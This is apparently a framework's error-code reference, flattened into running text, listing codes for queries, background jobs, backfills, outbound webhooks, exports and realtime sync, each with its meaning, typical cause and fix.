.live() on a read no defineApi() named list the query's module in defineApi({ queries }) in apps/<app>/api/index.ts — the boot names it before serving reads X_MATCHER_UNSUPPORTED the live matcher cannot evaluate this SQL incrementally a join, aggregate or unbounded predicate under live: true simplify the sql, add orderBy + limit, or drop live X_QUERY_DEPRECATION_INVALID a query declares a deprecation whose dates cannot be rendered a deprecated: { since, sunset } value that is not a date — the mirror of X_ACTION_DEPRECATION_INVALID, refused where the declaration is converted so every projection that reads it refuses the same value edit deprecated: { <field>: … } on the query to an ISO-8601 instant — e.g. '2026-12-31T23:59:59Z' X_QUERY_SINGLE_INVALID a query declares single: as something other than a boolean generated code or a JS caller wrote single: "yes" or 1 write single: true for a read of one object, or drop the key for a list read X_QUERY_AUDIT_SINK_MISSING a query declares audit: true and no audit sink is installed apps/<app>/runtime.ts names no auditSink; the read is refused before its input is parsed auditSink: postgresAuditSink({ executor }) — in export const runtime = { … }, apps/<app>/runtime.ts X_QUERY_AUDIT_SINK_FAILED an audited read was refused because the audit sink rejected its record the sink threw on an allowed record; the rows were withheld auditSink: postgresAuditSink({ executor }) — in apps/<app>/runtime.ts, a sink that accepts the record; then retry the read X_QUERY_DOWNLOAD_INVALID a query declares a download it cannot serve query({ download }) was combined with a rows option (sql, live, single, rows, subscribes, cache, mcp), its handle is not a function, or its expiresInMs is not a whole number of milliseconds between 1 s and 1 h query({ input, policy, download: { expiresInMs: 300_000, handle: async ({ input, ctx }) => ({ body, contentType, filename }) } }) // no sql and no rows option beside download X_QUERY_DOWNLOAD_ONLY rows were asked of a query that answers a file a download query was read for rows — called through sourceFor, .as(), .page(), .live(), explain or an MCP tool — and it has no sql to read them with await recording.url(input) # a download query mints its signed URL; await recording(input) is the file in-process X_QUERY_DOWNLOAD_TOKEN_INVALID a download URL carries a token this app did not mint for it the _token on GET /_x/query/ is malformed, was sealed under a key this process no longer holds, was minted for another query, or was minted for different input — a URL edited after it was minted await queryClient<Api['queries']>({ baseUrl }).<name>.url(input) # a fresh URL; request it unchanged X_QUERY_DOWNLOAD_TOKEN_EXPIRED a download URL is past its expiry the _token on GET /_x/query/ was minted more than the query's download.expiresInMs ago await queryClient<Api['queries']>({ baseUrl }).<name>.url(input) # right before the request; or raise download.expiresInMs (at most 3_600_000) X_QUERY_HTTP_PATH_INVALID a query's pinned http.path is not a valid path template the pin is not a lowercase path of static or :param segments, claims /_x, repeats a :param, names a :param that is not a required string key of input:, or declares a method other than GET pin a template whose every :param is a required t.string key of input: — query({ input: t.object({ id: t.string }), http: { path: '/orders/:id' }, ... }) — never under /_x X_QUERY_ETAG_INVALID etag: true on a read that has its own validator query({ etag: true }) on a download read or a live read — a download answers its own ETag, and a live read is revalidated by its cursor query({ input, policy, sql }) # the declaration the cause names, with etag: true removed; a live read's cursor is its validator X_QUERY_TIMEOUT_INVALID a read declares a timeoutMs that is not a whole positive number of ms query({ timeoutMs }) is 0, negative, a fraction, NaN or Infinity, or is set on a download read query({ timeoutMs: 500 }) # a whole number of ms under the role bound, read with: psql "$DATABASE_URL" -c "show statement_timeout" — or drop timeoutMs X_QUERY_MAX_PAGE_INVALID a query declares a maxPage no page bound can hold maxPage is not a whole number of rows from 1 to MAX_PAGE_SIZE (10,000) query({ maxPage: 2000 }) # a whole number from 1 to 10000 — or drop maxPage for the 500-row wire cap Jobs Code Means Typical cause Fix X_IDEMPOTENCY_REQUIRED the job has no idempotencyKey the field was omitted — normally a compile error, checked again at registration add idempotencyKey: (input) => '<stable>:' + input.id X_JOB_TENANT_REQUIRED the job declares no tenant the field was omitted — normally a compile error, checked again at declaration, and reached through backfill() too, which forwards its tenant to job() verbatim. A job body runs with no request behind it, and @ultimat3/entity's tenant guard derives from the ambient context, so a job that declared nothing ran with no tenant at all: a row naming another org was refused over HTTP as X_TENANCY_ACTOR_MISMATCH and accepted through the queue. A boot-supplied service actor would close the same hole with one identity for every job, which is the cross-tenant read the declaration exists to prevent. 'none' declares no org either way, but it reads differently on each side of the factory: on a job() it means the body touches no tenant-scoped table, because every scoped read then fails closed as X_TENANCY_ACTOR_ORG_REQUIRED; on a backfill() it is how a sweep says it spans every tenant, and the pass — never the author — opens the cross-tenant scope for it add tenant: (input) => input.orgId to the job; use tenant: 'none' for a job that touches no tenant-scoped table, or for a backfill() that sweeps every tenant X_JOB_DUPLICATE a name or a live key already has a job a second enqueue inside the dedupe window, or a second job/task registered under a name already taken pass onConflict: 'dedupe' or make the key narrower; for a name clash, rename one export X_STEP_DUPLICATE two step.run calls share a name copy-paste inside run() rename one — step names are the replay key X_JOB_MAX_ATTEMPTS the job exhausted its retries a step kept failing x jobs show <id> --json for the step trace, then x jobs retry <id> X_JOB_TIMEOUT a job exceeded its wall-clock limit one long step raise timeout, or split the work into more step.run() calls X_JOB_ROW_STATUS_UNKNOWN a queue row carries a status this build does not know a rolling deploy where a newer worker wrote a status this build has no name for. The decoders used to as-cast the column, which is worse than it sounds: steps.ts:263 returns a step's memoized output only when the status is completed, so a laundered value turned "this step already ran" into run it again drain the older workers, or roll forward — x jobs show <id> --json prints the row. The reverse direction cannot fire: a release that only adds a status still knows every older one X_JOB_CLAIM_QUEUES_EMPTY a driver was asked to claim with queues: [] an empty list names no queue, and the two shipped drivers had two meanings for it — every queue on the memory driver, the default queue on the Postgres one — while ClaimOptions.queues documented neither. Each meaning is silently wrong in the other's deployment: one takes work this worker was never configured for, the other drains nothing and reads as an idle queue. Reachable only by an embedder, since jobWorker passes exactly one queue per pass pass the queue by name — driver.claim({ queues: ['default'], limit, visibilityTimeoutMs, workerId }) — or read the list from jobs.queues, which is what jobWorker walks one queue at a time X_ACTION_JOB_UNBRIDGED an action projection was registered as a job defineApi({ jobs: { x: someAction.job() } }). .job() returns a handle, not a job — action and jobs are both tier 3 so neither may import the other. It used to be skipped in silence alongside the helpers and constants a module namespace carries, so the job simply never ran and nothing failed anywhere register the real job(), or bridge it the way agentJob() in @ultimat3/ai does — it composes a job from the handle's idempotencyKey and invoke X_JOB_CONCURRENCY_UNENFORCEABLE job.concurrency is declared and cannot be enforced a jobs driver with no lease store — the cap then holds per process and the fleet runs concurrency × replicas. job.concurrency was documented, in the manifest, and enforced by nothing; the worker now refuses to start rather than run with the wrong number, which is what axiom 3 means by a convention that is not a build error not existing remove concurrency from the job cause names, or drop the jobs: field from apps/<app>/runtime.ts so the boot installs postgresJobDriver() over DATABASE_URL — the pg driver is the one with a lease store X_JOB_LEASE_LOST the queue took this job back mid-run x jobs cancel wrote a terminal state, or this worker's visibility lease lapsed and another worker re-claimed the row. Its own code and not X_ABORTED because the response differs: X_ABORTED is "your deadline passed, make the work smaller", this is "somebody else owns this run now, stop writing to it" x jobs show <id> --json X_JOB_SLOT_LOST the fleet concurrency slot this run held was taken by another worker this worker stalled past the slot TTL and a second worker renewed slot 0 for itself, so job.concurrency was about to be exceeded. Its own code and not X_JOB_LEASE_LOST because the queue may still consider this worker the owner of the job — the two are different rows on different clocks (x_job_leases vs x_jobs.visible_at), and only one of them was lost. The run is aborted rather than left to double up x jobs show <id> --json — a run that keeps losing its slot is slower than its slot TTL, so raise the TTL or make the job shorter X_JOB_NOT_CANCELLABLE the job cannot be cancelled x jobs cancel reached a job that already finished, or an id no queue holds — not a failure of the command, but never a silent success either: an operator cancelling a runaway pass has to know whether they stopped it or missed it. Also raised by a driver with no introspect.cancel (the redis and nats stubs, and any hand-rolled driver) x jobs list --state running --json — for a driver that cannot cancel one job, drop the jobs: field from apps/<app>/runtime.ts so the boot installs postgresJobDriver() over DATABASE_URL — only the pg driver implements introspect.cancel — then x jobs cancel <id> --json X_OUTBOX_NO_TX enqueue outside a transaction <job>.enqueue called with no ambient tx wrap in ctx.tx(async (tx) => …), or enqueue with { outbox: false } deliberately X_DRIVER_UNAVAILABLE the queue driver is unreachable the queue's backing service is down, or the URL is wrong x doctor --json; check the driver URL in app.config.ts X_JOB_DECLARATION_INVALID the job declaration is missing or mis-declares a field job() was called without one or more required fields (input, idempotencyKey, tenant, retry, run) — reachable from generated code and JS callers the type cannot guard — or declares a concurrency no worker can honour: a cap of 0, negative, fractional, NaN or Infinity (plain number or limit), a key that is not a function, a whenBusy other than 'wait' or 'fail'. Also raised at ENQUEUE when concurrency.key(input) answers an empty string, a non-string or more than 200 characters — an empty key is one lock shared by every run. Every missing field is named in one refusal at declaration retry: { attempts: 5, backoff: 'exponential' } on job('<name>') — the cause lists every missing field, each with its own edit; for a cap, concurrency: { key, limit: 1 } — a whole limit of 1 or more X_JOB_NOT_REQUEUEABLE the job is still live and cannot be requeued x jobs retry / requeue was asked for a job that is ready, delayed or running. Requeueing a running job left claimed_by set with state ready, so a second worker claimed it and it ran twice. Only a dead, cancelled or done job may be requeued x jobs cancel <id> first, then x jobs retry <id> X_JOB_KEY_BUSY the concurrency key already holds its limit of runs a job declaring concurrency: { key, limit, whenBusy: 'fail' } was claimed while limit runs under the same key were still in flight. The run settles failed without its body running, is not retried and is not dead-lettered — the declared answer to a second run of one key, never a fault. whenBusy: 'wait' (the default) leaves the run queued instead x jobs list --name <job> --state running --json X_JOB_NOT_REMOVABLE the job is running and cannot be removed x jobs delete, remove() or removeMany() was asked for a job a worker holds. Deleting the row under a running body does not stop the body — its next step write and its settle would land on nothing — so the job is cancelled first and removed once it has stopped x jobs cancel <id> --json X_JOB_NOT_PROMOTABLE the job is not waiting on its run time x jobs promote or promote() was asked for a job that is not waiting on a clock: an unknown id, a job already due, running or finished, or one suspended in a step.sleep — whose wake time is the step record, not the row x jobs show <id> --json X_JOB_PAGE_INVALID a job list page was asked for outside its bounds JobIntrospection.list() was asked for more than MAX_JOB_PAGE (200) rows in one page, or handed an after / before cursor no page produced — a hand-written one, or one from another driver. Not clamped: a dashboard that asked for 1,000 and silently got 200 would show a wrong total x jobs list --limit 200 --json — pass its data.nextCursor as --after while data.hasMore is true; in code, list({ limit: 200, after: jobCursor(lastRow) }), omit after for the first page and stop at a page shorter than its limit X_JOB_ON_SETTLED_FAILED the onSettled hook failed after the run was settled a job declared onSettled and the hook threw on every one of its own attempts, after the row was already settled — completed, dead-lettered, dropped or refused. Logged as jobs.on-settled.failed and reported; never thrown to a caller and never a reason to settle the run again, which stays as the queue recorded it x jobs show <id> --json X_JOB_NOT_FOUND the queue holds no job with this id requeue() — x jobs retry, or the admin retry action — was asked for an id the queue does not hold: a mistyped id, a job removed since, or an id from another environment. Both drivers answer it the same way, where the memory driver raised X_INVARIANT and the pg driver X_DRIVER_UNAVAILABLE x jobs list --json X_JOB_TENANT_MISMATCH a job's payload names an org other than the tenant it runs under an enqueue whose tenant(input) names another org than its tenantId or the acting user's; a queued row refused at its run for the same reason; a webhook delivery's orgId, or the actor an agentJob resolved, outside the job's declared tenant <job>.enqueue(input) from an actor of the org the payload names, or inside crossTenant('<why>', () => <job>.enqueue(input)) by an actor holding tenancy:cross; for an agentJob, load the actor in its actor under the job's own tenant. A queued row that names the wrong org is dead: x jobs list --name <job> --state dead --json, re-enqueue it, never retry it X_STEP_OUTPUT_UNSERIALIZABLE a step returned a value JSON cannot hold step.run(name, fn) answered a bigint, a cycle, NaN, an infinity, an invalid Date, or text jsonb refuses (a NUL, a lone surrogate), so no attempt could replay it return plain JSON from the step: String(id) for a bigint, the ids rather than the object graph, null rather than NaN or an invalid Date, text with no NUL and no lone surrogate X_JOB_EVENT_INVALID a waited event failed its schema the event found for step.waitForEvent fails the schema of that wait, on a hit or a replay make the publisher of the event send what the schema of the wait declares, or widen that schema; then x jobs retry <id> X_IMPORT_HEADER_MISMATCH the csv header does not name the declared columns the first line of the file names columns importRows() does not declare, or omits some it does — the cause lists both sides, missing and undeclared, so a renamed spreadsheet column is visible before any row is read edit the file's header row to the declared columns, or edit columns on importRows("<name>") to match the file, then re-enqueue with a new key X_IMPORT_RECORD_TOO_LARGE one record runs past the bytes a record may hold a record found no end within maxRecordBytes (default 64 KiB) — almost always an unclosed quote, which makes every later newline part of one cell. Refused rather than buffered: reading on until the quote closes is how one bad byte turns a bounded import into the whole file in memory repair the quote at the byte offset the cause names (x jobs show <id> --json prints it), or raise maxRecordBytes on importRows("<name>") if a record really is that large X_IMPORT_TOO_MANY_ERRORS more rows were rejected than the import allows the rows the schema or the format refused passed maxRowErrors (default 1,000; 0 stops at the first bad batch). The batch that crossed the ceiling is not handed to handle, and every rejection so far is in the errors-*.ndjson parts under the run's error prefix — line, field and rule, never the rejected value x jobs show <id> --json names the error parts; read the errors-*.ndjson they list, repair those lines in the file, and re-enqueue with a new key X_JOB_ENQUEUE_BATCH_TOO_LARGE enqueueMany was handed more inputs than one call may stage a caller passed a whole table or an unbounded list to handle.enqueueMany, past MAX_ENQUEUE_BATCH (10,000) inputs split the inputs into slices of MAX_ENQUEUE_BATCH and call handle.enqueueMany once per slice, or enqueue one job per page that fans out: backfill() from @ultimat3/jobs X_WEBHOOK_RECEIVER_INVALID a webhookReceiver() declaration cannot be served the path is not absolute, sits under /_x or /api (the framework serves both), or a field the receiver needs is missing or not a function (verify, handle, a declared handshake), or maxBytes is not a whole number of at least 1. Refused at declaration, while modules load: no request is ever answered with it fix the field the cause names in webhookReceiver("<name>") — path: "/hooks/<vendor>", verify and handle as functions X_WEBHOOK_RECEIVER_UNAVAILABLE an inbound webhook could not be queued, so it was not acknowledged the verified delivery reached the enqueue and the queue refused or did not answer (the database is down, the pool is exhausted, the driver is unreachable). 503 with Retry-After on purpose: the vendor redelivers, and an ack never precedes the durable row. The inner failure is named in the cause x doctor --json — then check DATABASE_URL on the web role; the vendor redelivers on its own once the queue answers X_WEBHOOK_EVENT_ID_INVALID the event id a webhook receiver verified is not one it can key a job by verify answered an eventId that is empty, longer than 256 characters, or carries a character outside printable ASCII (a space, a control character). Refused before the enqueue, nothing queued, and the id is never echoed: the cause names its length only. Usually an id read from an unsigned header, or from the wrong field of the body return { eventId } from webhookReceiver("<name>").verify read out of the SIGNED bytes (verifyBodyHmac(...).text), 1-256 printable ASCII characters X_JOB_COMPENSATION_FAILED a compensator could not undo its step a job declaring compensates: true failed for good, and while unwinding a compensate callback exhausted its attempts, or met a once step whose outcome is unknown x jobs resolve-step <id> <step> --ran --output '<json>' # or --not-ran, for a once step; a failed compensator: repair it, then x jobs retry <id> — completed compensators replay X_STEP_OUTCOME_UNKNOWN a once step started and never completed step.run(name, fn, { once: true }) recorded started before fn, and a crash or a throw left no completed record, so whether fn ran is unknown check the vendor, then x jobs resolve-step <id> <step> --ran --output <json> (or --not-ran), then x jobs retry <id> X_CONSUMER_INVALID a consumer() declaration cannot be run as declared consumer() declared without cursor.load and cursor.save, with a timeout, with a batch that is not a whole number, or with a rearm that is not whole minutes dividing an hour consumer({ name, tenant, keys, open, handle, cursor: { load, save } }) with no timeout X_CONSUMER_SELF_ENQUEUE a consumer enqueued itself from inside its own run handle() or open() called the consumer own .enqueue, which dedupes onto the running row and arms nothing grep -rn ".enqueue(" apps/web --include=*.ts — delete the call inside the consumer: its .supervisor task re-arms every key X_BACKFILL_SOURCE_INVALID a backfill() declares both or neither of source and pages, or input with no scope backfill() declared source and pages together, neither of them, or an input schema with no scope(input) to key one pass per scope backfill({ name, tenant, pages, handle }) with exactly one of source or pages, and scope: (input) => input.accountId beside input X_STEP_NOT_RESOLVABLE the step is not an unknown once outcome an operator can resolve x jobs resolve-step named a job that is running, or a step with no started or failed record (it never ran, or it completed) x jobs show <id> --json # read the steps; wait for a running job to settle, then resolve a step whose status is started or failed X_JOB_ROLLUP_INVALID a rollup declaration cannot be run rollup() was declared without a finite lookback, without a bucket (a series unit and an IANA zone), with an empty key, or with a key no unique constraint on the into entity covers rollup({ name, into, table, key: ['orgId', 'postId', 'day'], lookback: '2d', bucket: { unit: 'day', timeZone: 'UTC' }, source, map, tenant }) — a lookback, a bucket, and a key a unique index on into covers X_JOB_REFRESH_VIEW_INVALID a refreshView declaration names no materialized view it can refresh refreshView() was given an entity that is not declared view: { sql, materialized: true }, or concurrently: true over a view with no unique index refreshView({ name, view, concurrently: false }) — or declare the view materialized: true with a .unique() column X_SUBJECT_TABLE_UNDECLARED a table reaches the declared subject and defineSubject gives it no treatment an entity holds a foreign key into the subject (or into a table the subject erase deletes) and tables: in defineSubject names no treatment for it — usually a table added after the subject was declared. The cause prints the reference path tables: { <table>: 'delete' } in defineSubject — or { anonymize: { <column>: <value> } }, or { retain: '<why it is kept>' } X_SUBJECT_TREATMENT_INVALID a defineSubject treatment cannot be carried out a blank retain reason, an anonymize naming a column the entity does not have (or its key), 'delete' on an append-only or soft-delete entity, a treatment for a table nothing reaches, or a kept row whose parent the erase deletes. The cause names the table and the field tables: { <table>: { retain: '<why it is kept>' } } in defineSubject — the cause names the field to change X_SUBJECT_CYCLE the subject erase has no deletion order two tables the erase deletes reference each other (or one references itself) and no foreign key in the loop is nullable, so neither side can go first x db gen "nullable <column>" after making one key in the loop .nullable(): the erase clears a nullable key before deleting either side X_LOCK_NOT_ACQUIRED withLock could not take the lock within its wait bound another holder kept the key past wait:, or wait: is shorter than the work the holder does under it withLock(key, fn, { ttl: '30s', wait: '10s' }) — in the calling file: raise wait:, or retry the caller later X_LOCK_LOST a lock withLock held expired before its work finished a renewal was refused or did not land within ttl:, so another holder may hold the key now; the signal handed to fn aborted withLock(key, fn, { ttl: '2m' }) — in the calling file: a ttl: longer than one renewal round-trip, and fn passes lock.signal to every write X_LOCK_STORE_MISSING withLock found no lease store to hold the lock in no job driver is installed, or the installed driver has no leases store jobs: postgresJobDriver() — in apps//runtime.ts — or pass { store } to withLock in the calling file X_LEDGER_UNBALANCED a ledger posting does not sum to zero in every currency the debits and credits of one posting differ in at least one currency entries: [{ account: 'cash', amount: { minor: -500, currency: 'EUR' } }, { account: 'revenue', amount: { minor: 500, currency: 'EUR' } }] — in the enqueue of the ledger job: every currency nets to zero X_LEDGER_ENTRY_INVALID a ledger entry is not a whole-minor Money amount on a named account an entry has a fractional or unsafe minor, a currency that is not an ISO 4217 code, a scale differing within one currency, an empty account, or the posting has fewer than two entries { account: 'cash', amount: { minor: 1299, currency: 'EUR' } } — in the enqueue of the ledger job: integer minor units (fromDecimal('12.99', 'EUR') from @ultimat3/money), never a float X_PERSONAL_DATA_UNERASED a subject erase would leave a personalData() column of a reached table defineSubject gives a table it reaches { anonymize } without naming every personalData() column, so the erase leaves the person's value there tables: { <table>: { anonymize: { <column>: null } } } — in defineSubject(, …): name every personalData() column, or 'delete', or { retain: '' } X_PERSONAL_DATA_UNREACHED an entity carries personalData() columns no declared subject reaches no defineSubject() walk reaches the entity, so neither an export nor an erase would ever see its marked columns defineSubject(<entity>, { … }) — in the module declaring the subject: a subject of its own, or a reference / columns: entry so an existing subject reaches it X_LEDGER_POSTING_CONFLICT a ledger posting key is already stored with other entries the key was posted before and this posting differs in its line count or in a line, so writing the new lines beside the stored ones would leave the book unbalanced entries: [ … the posting as first stored … ] — in the enqueue of the ledger job — or a new key (e.g. ':adjust-1') for a correcting posting Backfills Seven codes because each sends the reader somewhere different. Full walkthrough: Migrations and backfills. Code Means Typical cause Fix X_BACKFILL_PENDING a declared backfill has never completed x g backfill, merged, deployed — and nothing ever enqueued it x db backfill <name> --write --json X_BACKFILL_APPLIED the ledger already holds a completed pass a rerun asked for without --force x db backfill <name> --write --force --json — a rerun writes a NEW ledger row X_BACKFILL_ENVIRONMENT the backfill is not declared for this environment environments: does not include the one ULTIMATE_ENV resolved run it where the declaration allows, or add this environment to environments X_BACKFILL_MIGRATION_PENDING the migration this backfill requires is not applied requires: names an id x_migrations does not record x db migrate --json X_BACKFILL_RUNNING a pass under this name is already live one live pass per name — the enqueue deduped onto it x jobs show <id> --json — its step trace names the batch it is on. A pass mid-step shows no new steps and is still healthy; x jobs cancel <id> --json only once the trace confirms it is stuck X_BACKFILL_STALLED the sweep ended with rows its own count still matches count() and source() select on different predicates make count() select on exactly what source() selects on X_BACKFILL_UNKNOWN no declaration carries this backfill name a typo, or a sweep whose module was deleted x db backfill --pending --json lists every declared name Outbound webhooks webhook() is a job factory, so a delivery ends on one of these eight — every one thrown inside a worker, where ROLE=worker opens no HTTP port, so none of them ever answers a request. The INBOUND pair is X_WEBHOOK_SIGNATURE_INVALID and X_WEBHOOK_SIGNATURE_STALE under HTTP, and both are 401. The retry classification is what the split is for, and all eight are listed in registerErrorRetry rather than left to the default: classifyThrown reads an unregistered code as UNCLASSIFIED, which spends a delivery's whole retry policy re-proving that a 404 endpoint is still a 404. Classification Codes retryable X_WEBHOOK_DELIVERY_FAILED retry-after X_WEBHOOK_DELIVERY_THROTTLED terminal the other six No secret and no signature reaches a cause, a fix or a meta, and a URL is redacted to origin + path — several senders in the wild put a token in the query string, and all three fields reach the log store and the dead-letter row. Code Means Typical cause Fix X_WEBHOOK_ENDPOINT_UNKNOWN no endpoint carries this id the endpoint seam answered nothing for an id a queued delivery names — usually an endpoint the app deleted between the enqueue and the attempt. Terminal: a queued delivery cannot invent a destination return the endpoint row for the id cause names from webhook("<name>").endpoint, or stop enqueueing deliveries for endpoints your app has deleted X_WEBHOOK_ENDPOINT_INVALID the endpoint cannot be delivered to as declared three conditions, one code, and cause names which: an empty secret, a url that is not a url, or a scheme that is not http: or https:. The scheme is refused by NAME rather than by a blocklist — a delivery opens an HTTP conversation, and file: or data: is a row in a table reaching the worker's filesystem. A delivery with no secret is an unsigned POST to wherever the row points give the endpoint an https:// url and a non-empty secret before webhook("<name>").endpoint returns it X_WEBHOOK_ENDPOINT_DISABLED the endpoint takes no deliveries the app disabled the row — refused before the ledger and before the socket, which is the whole point of disabling one — or this delivery is the one that reached disableAfter (default 10 consecutive failures, roughly a day of a retrying queue against a dead receiver), where cause prints both numbers. In the second case this code REPLACES the attempt's own: what an operator needs to see is that deliveries have stopped, not the status of the one that tipped it over. Terminal by construction — the next attempt reads the same row fix the receiver, then re-enable the endpoint in your own table and enqueue the deliveries it missed — the framework never re-enables one on its own, because a dead endpoint that heals itself is a retry loop with no end X_WEBHOOK_EVENT_UNKNOWN no event carries this id the event seam answered nothing for a queued id — the delivery was enqueued outside the transaction that writes the event row, so the read raced the commit write the event row before enqueueing its delivery, inside the same transaction, so webhook("<name>").event can never be asked for a row that is not committed yet X_WEBHOOK_EVENT_INVALID the event cannot be signed as declared an id or a topic that would make the canonical string ambiguous: outside 1–200 characters, or carrying a : or a control character. Refused BEFORE the mac is taken, because a mac over an ambiguous string is a valid signature for a delivery the sender did not write — over v1:<t>:<id>:<topic>:<body>, id evt:01HZ with topic orders.paid and id evt with topic 01HZ:orders.paid are the same bytes change how your app mints the field cause names — the separator can never appear in either, so the edit is at the mint site and not at the send X_WEBHOOK_DELIVERY_FAILED the endpoint did not accept the delivery a 5xx, a 408, a 425, a 429 that named no delay, or a connection that never opened. The one retryable code here, and the reason the split exists at all: this is the same request landing later. cause carries the status or never answered, plus origin and path no edit here — the job retries on its declared backoff; watch the endpoint with x jobs list --json and fix the receiver before it reaches disableAfter X_WEBHOOK_DELIVERY_THROTTLED the endpoint asked for the delivery later, and said when a receiver that answered a retryable status AND a delay — a 403 carrying a Retry-After is still X_WEBHOOK_DELIVERY_REJECTED, because the status is what says a retry can change something. Its own code because the answer is different work: classified retry-after, so statedDelayMs reads meta.retryAfterSeconds and the nack waits exactly that long — clamped by the policy's maxDelay — instead of spending a curve against a number it was already given no edit here — the next attempt waits the delay the receiver named; an endpoint that throttles constantly wants a higher retry.maxDelay or fewer events fanned out to it X_WEBHOOK_DELIVERY_REJECTED the endpoint refused the delivery in a way a retry cannot change a 4xx that is not a throttle, or a redirect. Its own code rather than a per-instance flag on the row above: classifyThrown reads a per-instance terminal on an unregistered code as UNCLASSIFIED, so the distinction has to be a registered code or it does not exist x jobs show <id> --json — meta.status is the answer; then correct the url or the secret on this endpoint row in your own table. A 401 or 403 is a secret the two sides disagree about, a 404 is a path that moved Exports exportRows() is a job factory too, and both its codes refuse the DECLARATION rather than the data — the same row() over the same page answers the same way on every attempt, so both are terminal. Code Means Typical cause Fix X_EXPORT_ROW_INVALID row() answered something the declared columns do not carry a column missing, a column nobody declared, or a value no format can carry. The extra-column half is the one worth the code: a row() returning a key columns omits is silently DROPPED by both encoders, so the rest of the file looks perfectly correct and the gap is found by whoever consumes it, later — and the reverse, row: (r) => ({ ...r }), is how PII leaves through an export nobody reviewed, picking up every column the entity gains from then on. cause names the COLUMN and never the value: a cell is user data by definition, and a cause reaches the log store as a field nothing can redact return exactly the declared columns from row() on exportRows("<name>"), each one a string, a finite number, a boolean or null — format a date with an explicit timeZone and a Money with its own currency before it gets here X_EXPORT_PART_TOO_LARGE one page encoded to more bytes than a part may hold a page whose encoded size passed maxPartBytes (default 8 MiB). The memory bound made mechanical: accumulating a result set before writing it is the failure exportRows() exists to prevent, and "we hold a page, not a dataset" is only true while a page is bounded — a row that is a megabyte of JSON turns a thousand-row page into a gigabyte in one buffer lower batch on exportRows("<name>") until a page fits (the default is 500 rows), or raise maxPartBytes if this deployment really can hold that much per part — the number is a heap bound, not a file-size preference Realtime Code Means Typical cause Fix X_SOCKET_UNAUTHENTICATED the sync upgrade carried no credential this app accepts the app's authenticate hook decided this upgrade belongs to nobody. A decision, not a fault — it never pages anyone, because the refusal is the whole point of the hook. Until this cycle there was no way to authenticate a WebSocket at all, so realtime was single-tenant only. Distinct from X_TOPIC_FORBIDDEN, which is a subscriber that already has a socket and asked for something it may not have; this one never gets a socket, so the client learns about it by tearing the connection down send the credential syncNode({ authenticate }) reads on the upgrade request, or return an anonymous Actor from it to admit this socket X_SOCKET_AUTH_UNAVAILABLE the sync node could not decide who a connecting socket is authenticate raised instead of deciding — a token service that timed out, a JWKS fetch that failed. The same rule the row gate follows: a failure is not a denial, so the client is told to come back rather than told it may not connect, and this one does page someone x doctor --json X_TOPIC_FORBIDDEN the actor may not subscribe to this topic a subscribe named a channel no channel() declares on this node, or the declaration's policy denied it (latched per socket and topic until the session changes) x policy list --json, then widen the policy on the channel() declaration this topic belongs to, or subscribe as an actor it allows X_SUBSCRIPTION_LIMIT socket, actor, tenant or node hit its subscription cap a component subscribing in a loop, or one client minting distinct (query, input) pairs — a qid derives from client-chosen input, so the node holds a matcher and a row window per value. The scope in the message says which ceiling refused the actor scope: raise realtime.maxSubscriptionsPerActor in app.config.ts (default 1,000). Otherwise raise maxPerSocket / maxPerTenant / maxEntries on new LiveQueryRegistry({…}), or maxTopicsPerSocket / maxTopicsPerNode on new ChannelHub({…}) — none of those is an app.config.ts field X_FRAME_RATE_LIMIT one socket sent frames faster than this node will route them the accept budget spends a token per upgrade, so an open socket was unbounded: one authenticated client could drive a database read, a shared-store presence write and a fleet-wide publish per frame. Every socket now carries its own token bucket (64/s, burst 256), checked at the top of the frame router before the frame touches anything — including before it renews the idle window. A client fault: it never pages anyone batch subscribes into one frame per subscription and retry after the delay, or raise maxFramesPerSecond where syncNode() is called X_SUBSCRIPTION_ID_TAKEN a subscribe frame reused a sid this socket already holds a hand-rolled client incrementing its own subscription ids, or a remount that reuses one. Subscriptions are keyed by (socket, sid), so a reused id would otherwise orphan the earlier subscription — its entry never reaching zero subscribers and never being freed send a fresh sid with each subscribe frame — crypto.randomUUID() is what the bundled client uses X_PROTOCOL_VERSION client and sync node disagree on the wire protocol a client from an older build x build and redeploy the client; the node sends update-available before draining X_CURSOR_STALE the resume LSN is outside the change buffer a long disconnect pass snapshot to resumeFrom() so the fallback re-snapshots X_REBASE_CONFLICT a local mutation could not be rebased server state moved incompatibly set conflict: 'server-wins', or return a row from custom(merge) X_TRANSPORT_UNAVAILABLE the fanout bus is unreachable the nats-server NATS_URL names is down or misconfigured. At boot only a sync node or a replicator raises it, after retrying the dial for 15 s — the cause names the server, the wait and the last attempt's own failure. A web, worker or scheduler process boots without the bus and raises it from a publish instead (publishChannelEvent, the cache-invalidation broadcast), at once, until its background dial lands; a publish made once the client's socket has closed is refused the same way rather than buffered by the client; the replicator retries such a refusal three times over 2 s before its run ends (Realtime → what each role needs from the bus) x doctor — then check NATS_URL; in app code, catch it around a publish and log — the event meant "re-read" X_TRANSPORT_PROTOCOL the bus does not speak the protocol this build speaks nats-server older than 2.11, JetStream not enabled, or something that is not NATS on the port run nats:2.11-alpine or newer with -js; reconnecting cannot fix it, so this never retries X_REPLICATION_FAILED the replication connection was refused wal_level not logical, a role that may not create or extend the publication (the replicator ensures it at boot), a role without REPLICATION, a slot another replicator holds, wrong credentials the message names the object; the fix is the exact setting, CREATE PUBLICATION or pg_drop_replication_slot statement — and a REPLICATION grant only on a cluster dedicated to the app (why) X_REPLICATION_PROTOCOL the WAL stream cannot be decoded a server or pgoutput version this build does not speak, or a proxy on the replication port x doctor --json — point the URL at postgres itself, on a server ≥ 14 X_REPLICATOR_SLOT_HELD another replicator already owns this database x dev --role replicator started while another process holds the database's replicator lock (a container that loses the lock stays up unready and takes over when it frees, so it never throws this) — nothing is wrong with this process, the database already has its one replicator x dev --role replicator # rerun after the replicator already on this DATABASE_URL stops — one database has one replicator X_LIVE_CLIENT_MISSING retired in 21.0.0 (no LiveClient to register; see X_REALTIME_UNINSTALLED): a realtime hook ran in a browser with no LiveClient registered registered, thrown by nothing since 21.0.0. There is no LiveClient to register: the island bootstrap installs realtime, and a hook in a bundle that never did is X_REALTIME_UNINSTALLED delete any branch matching this code, because it never runs. For the failure it used to name, see X_REALTIME_UNINSTALLED X_LIVE_SERVER_RENDER a browser-only live operation ran during a server render a useMutation() call reached from a page body. A server render has no socket and no page store, and a dropped write would look exactly like one that happened, so it refuses rather than queues move the call into an island's event handler (x g island <route-dir> --at <route-dir>). Guarding it with hasPageSocket() is not a fix: on the server that answers false forever, and the budgets step reports it as X_LIVE_ROUTE_NO_ISLAND X_QUERY_NOT_SUBSCRIBABLE retired in 21.0.0 (liveHookFor was deleted; useQuery reads any query): a hook was bound to a query that is not declared 